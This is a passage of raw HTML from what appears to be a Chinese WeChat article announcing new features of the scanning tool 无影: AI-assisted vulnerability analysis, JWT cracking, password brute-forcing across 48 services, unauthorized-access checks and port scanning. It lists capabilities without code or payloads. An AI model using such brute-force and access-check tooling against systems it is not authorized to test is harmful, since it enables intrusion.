src="https://wechat2rss.xlab.app/img-proxy/?k=5118f75d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmTazfr3ibLS2nr9FkItl39NNjorIsZShdKwsXa9pvqNI14VEU9WibCJ5g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">支持其他功能的右键联动</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037933" class="rich_pages wxw-img" data-ratio="0.30648148148148147" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=a004dd1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmAVd5sgwUXQAK6Qaj90Ob3azWbQnuRCdtckOnNBdLicDe8PvH5vZNMgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">目前Awvs接口测试主要是采用v25.1版本，对之前版本的兼容性可能一般，所以可能需要下载使用较新的Awvs。工具上也有docker镜像推荐：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037934" data-ratio="0.4046296296296296" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=13818182&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmkiajXlrYicMKNOWJgQFkBlZsV8tyyiaIeuJmpbIS4bsMOArCz3rB99ClQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">另外提醒一下，Awvs对企业使用盗版软件的追究力度还是比较大的，所以大家不要使用盗版破解版本。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 新增AI辅助分析功能</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">针对poc、js结果增加AI辅助分析功能，方便对发现的漏洞进行智能化分析</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037935" class="rich_pages wxw-img" data-ratio="0.43148148148148147" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=0aee15d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmrePSxUundYgeIDQootQVZOcjpEsrFzl5uXibYYoicJYcFrQqKy4bOuZw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">可添加大模型并配置 AI 选项，无影内置了两个免费的Key，经测试来看，免费的key也可以满足场景需求。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037936" data-ratio="0.6407407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=27956846&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmpmbxEAxk5VZJic1jeiaiaDNdp7HFzN1Jsia5nBgpHWhUAJFze1HkdhMOkQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">开启 AI 选项后，在检测 Poc 和 JS 时会自动调用 AI 进行分析。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037937" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=e83b6e84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmJ5iaxDfmCBLKulntiaFgf6BmiaOibibSQsh7evGO1hFvKOayGFbpBg5hPtg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">右键可查看AI分析结果</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037938" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4ca36401&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34Wmfjwib3DjGicrgiaqMM2WK0VLXs42l9AF0QWCxejjQnY8l17bQ3F2ecOsg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 项目管理功能增强</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">项目管理功能新增项目定时、项目中断恢复、信息搜集、指定协议破解等功能，方便网络安全运维人员进行定制化项目任务。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037939" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=6e1617b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmuENhnR3z1rKyoia79ZPbic5KAh6icZpribj6gxat2ticGFDOAWUuPHicyIlw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037940" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=171ca184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmgrHaSe72yxW8CAfc8Q3Y6XPUomO5ia8rK5guMKCaVALLiamD1MI7icXRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4 Jwt编解码及破解功能</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">增加jwt已知漏洞检测功能、支持多种密钥编码、与jwt.io完全兼容等多项功能。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037941" data-ratio="0.6407407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7a154cd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmCU6oLsCMABybNjjlE6uicQR79zHCsWWKumvXXYO2FZODeOwYr9npibBQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5 密码破解增加多项检测</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">密码破解增加若干功能模块：</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1、增加达梦数据库密码破解</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2、增加ActiveMQ服务密码破解</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3、增加RabbitMQ服务密码破解</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">4、增加服务密码破解</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">5、增加Kafka服务密码破解</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">6、增加Neo4j服务密码破解</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">7、增加Modbus、RMI、ADB未授权检测</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">8、支持mongodb高版本未授权检测</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">9、增加docker未授权检测</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">10、增加JDWP、RMI未授权检测</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">修复多个功能Bug：多个账户时进度异常、暂停功能无效、RDP协议闪退、全局超时、资源占用高等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">截止目前，无影已集成了48种服务和协议的密码破解功能。</span></strong><span leaf="">覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037942" data-ratio="0.6407407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b82c8070&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmiahiaO0iaA8x24AYEO6CoEPA84Gx9g390K7WTooCfhrUdINnWgc0w0Vew%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.6 JsFinder功能增强</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">优化jsfinder功能并支持自定义规则、爬虫策略优化、结果展示优化、部分规则误报等。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037943" data-ratio="0.6407407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b304eaa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34Wm8ZWUiaZxGtbrE2mUzzNy0icciaIPpDeJickJWE5WIDEUrEmDEUlV4VtNcg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.7 启发式扫描增强</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">无影</span></code><span leaf="">参考</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">gogo</span></code><span leaf="">的启发式扫描原理，在v2.8.0版本之后也加入了启发式扫描，针对大网段的检测更高效而精准。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037944" data-ratio="0.6407407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1fb33031&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmtNjnTwEuCmiadjEyOtc9XYgd0agaoOFySFMZwnOj7e1QkibFTS6eibeow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.8 端口扫描支持UDP扫描、IPv6协议、防火墙检查等</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影在端口扫描时，针对常见UDP协议（如DNS、DHCP、SNMP等协议）进行定向检测，针对SNMP有UDP和TCP两种情况也进行了分别判断，更精准的发现更多资产和指纹。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当电脑支持ipv6协议时，IP端口扫描也可对IPv6网络进行端口扫描和指纹识别。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037945" class="rich_pages wxw-img" data-ratio="0.21388888888888888" data-s="300,640" data-type="jpeg" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=28a1ceba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmgkkgdnIaicH5EIt96kYGDIVU3iaWoEI5k3KaLgnY04ICOmkYuYIRIaGQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">另外，当探测某些服务器端口时，有时会发现所有端口都开放，这时可能是目前主机启用了防护措施。为了避免在这种目标上浪费太多时间，无影启用了防火墙检测功能。在开启后会检测防火墙是否开启，如防火墙开启则只扫描常见的50多个端口；关闭该项检测后，会根据配置的端口进行全量扫描。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037946" data-ratio="0.5907407407407408" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c7d16b90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmaeN6lSA3C847b3jS8qgpc5icrnoeUMkVBou7xuINBsR8qllkX1Bv4QA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.9 web指纹检测性能优化及页面截图</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">目前内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟。同时增加页面截图功能，方便站点预览。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037947" data-ratio="0.6407407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b22638ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmdQ4wa2XuY0iapicZQxUDKhcd5zxayRpMDib0Jiaq57JbFd6LgHwykKH6Jw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.10 导出数据支持更多格式</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">所有功能模块支持html和xls格式数据的导出，信息搜集模块也支持对该项目所有数据信息进行整合导出。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037948" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=e4588861&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmzyBPhBKSAnlGiaeKagUl9DdP0dMSEmRdBIepYlNMJPj1RaibibFYVWrHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037949" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=d109bd25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmULM2qcsIp15pQcBknQW6J0fJZp5LxlU4xXzeGMu3roiaBpmibia1dKib4g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037950" data-ratio="0.3333333333333333" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dbb8b9b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmKQXhJtFf3S9FyXjZbICCb4FboOWrSKsR37Sw6orh7oPYia8SV8GJLCg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 